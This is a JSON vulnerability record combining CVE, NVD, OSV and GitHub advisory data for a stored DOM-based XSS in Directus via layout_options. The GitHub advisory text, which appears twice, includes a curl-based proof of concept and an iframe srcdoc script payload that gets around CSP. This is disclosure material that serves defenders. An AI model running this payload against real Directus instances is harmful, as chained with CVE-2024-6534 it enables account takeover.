{"id":"CVE-2024-6533","aliases":["EUVD-2024-2634","GHSA-9qrm-48qf-r2rw","GHSA-qf6h-p3mr-vmh5"],"status":"published","title":"Directus 10.13.0 - DOM-Based cross-site scripting (XSS) via layout_options","description":"Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.","severity":{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00383,"percentile":0.32628,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2024-08-15T03:04:08Z","modified":"2026-10-28T02:30:44Z","fixes":[{"ecosystem":"npm","package":"directus","fixed_in":["11.3.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"directus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.3.3"}]}]},{"source":"osv","ecosystem":"npm","package":"directus","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"11.3.3"}]}]}],"products":[{"vendor":"directus","product":"directus"},{"vendor":"monospace","product":"directus"}],"references":[{"url":"https://fluidattacks.com/advisories/bocelli","tags":["third-party-advisory","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://directus.io/","tags":["product","Product","web"]},{"url":"https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw","tags":["web"]},{"url":"https://github.com/advisories/GHSA-9qrm-48qf-r2rw"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-6533","tags":["advisory"]},{"url":"https://directus.io","tags":["web"]},{"url":"https://github.com/advisories/GHSA-qf6h-p3mr-vmh5"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/6xxx/CVE-2024-6533.json","tags":["advisory"]},{"url":"https://github.com/directus/directus","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-6533","title":"Directus 10.13.0 - DOM-Based cross-site scripting (XSS) via layout_options","description":"Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.","status":"published","published":"2024-08-15T03:04:08.25Z","modified":"2025-05-19T17:56:31.826Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:34:11.305983Z"}],"euvd":[{"id":"EUVD-2024-2634","description":"Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.","status":"published","published":"2024-08-15T03:04:08Z","modified":"2025-05-19T17:56:31Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T20:32:43.763029Z"}],"ghsa":[{"id":"GHSA-9qrm-48qf-r2rw","title":"Directus has a DOM-Based cross-site scripting (XSS) via layout_options","description":"### Impact\nDirectus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover.\n\n### PoC\nTo exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.\n\n1. Upload the following JavaScript file.\n\nUsing the upload functionality at `POST /files`. This PoC will show an alert message.\n\n```js\nexport TARGET_HOST=\"http://localhost:8055\"\nexport ATTACKER_EMAIL=\"malicious@malicious.com\"\nexport ATTACKER_PASSWORD=\"123456\"\nroot_dir=$(dirname $0)\nmkdir \"${root_dir}/static\"\n\ncurl -s -k -o /dev/null -w \"%{http_code}\" -X 'POST' \"${TARGET_HOST}/auth/login\" \\\n    -c \"${root_dir}/static/attacker_directus_session_token\" \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\\\"email\\\":\\\"${ATTACKER_EMAIL}\\\",\\\"password\\\":\\\"${ATTACKER_PASSWORD}\\\",\\\"mode\\\":\\\"session\\\"}\"\n\nid_url_file=$(echo \"alert('Successful DOM-based XSS')\" |\n  curl -s -k -X 'POST' \"${TARGET_HOST}/files\" \\\n    -b \"${root_dir}/static/attacker_directus_session_token\" \\\n    -F \"file=@-;type=application/x-javascript;filename=poc.js\" | jq -r \".data.id\")\n```\n\n2. Create a preset for a collection and store the preset ID.\n\nOr use a preset already created from GET /presets. The following example uses the direct_users preset.\n\n```\nattacker_user_id=$(curl -s -k \"${TARGET_HOST}/users/me\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data.id\") curl -i -s -k -X 'POST' \"${TARGET_HOST}/presets\" \\ -H 'Content-Type: application/json' \\ -b \"${root_dir}/static/attacker_directus_session_token\" \\ --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${attacker_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"\u003ciframe srcdoc=\\\\\\\"\u003cscript src='http://localhost:8055/assets/${id_url_file}'\u003e \u003c/script\u003e\\\\\\\"\u003e\\\",\\\"subtitle\\\":\\\"{{ email }}\\\",\\\"size\\\":4}},\\\"refresh_interval\\\":null,\\\"icon\\\":\\\"bookmark\\\",\\\"color\\\":null,\\\"collection\\\":\\\"directus_users\\\"}\"\n```\n\nWhen the user visits the view that uses the directus_users preset, the JavaScript file will be executed.\n\nNotes:\n\nNeed to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is `\u003ciframe srcdoc=\\\"\u003cscript src='URL_MALICIOUS_FILE'\u003e \u003c/script\u003e\\\"\u003e`.\n\nWe can target any collection that uses the vulnerable template structure that renders the layout option section.\n\nIn this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.","status":"published","published":"2025-01-23T22:36:50Z","modified":"2026-08-14T19:11:40Z","cvss":[{"version":"3.1","score":3.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:41:01.23108Z"},{"id":"GHSA-qf6h-p3mr-vmh5","title":"Duplicate Advisory: Code injection in Directus","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-9qrm-48qf-r2rw. This link is maintained to preserve external references.\n\n## Original Description\nDirectus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.","status":"withdrawn","published":"2024-08-15T03:30:28Z","modified":"2025-03-22T00:35:41Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","level":"medium"},{"version":"3.1","score":4.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:38:36.51789Z"}],"nvd":[{"id":"CVE-2024-6533","description":"Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.","status":"published","published":"2024-08-15T03:15:04.567Z","modified":"2026-06-17T08:18:12.013Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:10:19.135392Z"}],"osv":[{"id":"CVE-2024-6533","title":"Directus 10.13.0 - DOM-Based cross-site scripting (XSS) via layout_options","description":"Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.","status":"published","published":"2024-08-15T03:04:08.25Z","modified":"2026-10-28T02:30:44.777411531Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:45.405014Z"},{"id":"GHSA-9qrm-48qf-r2rw","title":"Directus has a DOM-Based cross-site scripting (XSS) via layout_options","description":"### Impact\nDirectus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover.\n\n### PoC\nTo exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.\n\n1. Upload the following JavaScript file.\n\nUsing the upload functionality at `POST /files`. This PoC will show an alert message.\n\n```js\nexport TARGET_HOST=\"http://localhost:8055\"\nexport ATTACKER_EMAIL=\"malicious@malicious.com\"\nexport ATTACKER_PASSWORD=\"123456\"\nroot_dir=$(dirname $0)\nmkdir \"${root_dir}/static\"\n\ncurl -s -k -o /dev/null -w \"%{http_code}\" -X 'POST' \"${TARGET_HOST}/auth/login\" \\\n    -c \"${root_dir}/static/attacker_directus_session_token\" \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\\\"email\\\":\\\"${ATTACKER_EMAIL}\\\",\\\"password\\\":\\\"${ATTACKER_PASSWORD}\\\",\\\"mode\\\":\\\"session\\\"}\"\n\nid_url_file=$(echo \"alert('Successful DOM-based XSS')\" |\n  curl -s -k -X 'POST' \"${TARGET_HOST}/files\" \\\n    -b \"${root_dir}/static/attacker_directus_session_token\" \\\n    -F \"file=@-;type=application/x-javascript;filename=poc.js\" | jq -r \".data.id\")\n```\n\n2. Create a preset for a collection and store the preset ID.\n\nOr use a preset already created from GET /presets. The following example uses the direct_users preset.\n\n```\nattacker_user_id=$(curl -s -k \"${TARGET_HOST}/users/me\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data.id\") curl -i -s -k -X 'POST' \"${TARGET_HOST}/presets\" \\ -H 'Content-Type: application/json' \\ -b \"${root_dir}/static/attacker_directus_session_token\" \\ --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${attacker_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"\u003ciframe srcdoc=\\\\\\\"\u003cscript src='http://localhost:8055/assets/${id_url_file}'\u003e \u003c/script\u003e\\\\\\\"\u003e\\\",\\\"subtitle\\\":\\\"{{ email }}\\\",\\\"size\\\":4}},\\\"refresh_interval\\\":null,\\\"icon\\\":\\\"bookmark\\\",\\\"color\\\":null,\\\"collection\\\":\\\"directus_users\\\"}\"\n```\n\nWhen the user visits the view that uses the directus_users preset, the JavaScript file will be executed.\n\nNotes:\n\nNeed to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is `\u003ciframe srcdoc=\\\"\u003cscript src='URL_MALICIOUS_FILE'\u003e \u003c/script\u003e\\\"\u003e`.\n\nWe can target any collection that uses the vulnerable template structure that renders the layout option section.\n\nIn this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.","status":"published","published":"2025-01-23T22:36:50Z","modified":"2026-08-14T19:26:01.721091Z","cvss":[{"version":"3.1","score":3.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:44.225359Z"},{"id":"GHSA-qf6h-p3mr-vmh5","title":"Duplicate Advisory: Code injection in Directus","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-9qrm-48qf-r2rw. This link is maintained to preserve external references.\n\n## Original Description\nDirectus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.","status":"withdrawn","published":"2024-08-15T03:30:28Z","modified":"2025-03-22T00:35:38Z","cvss":[{"version":"3.1","score":4.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N","level":"medium"},{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:54.40888Z"}]}}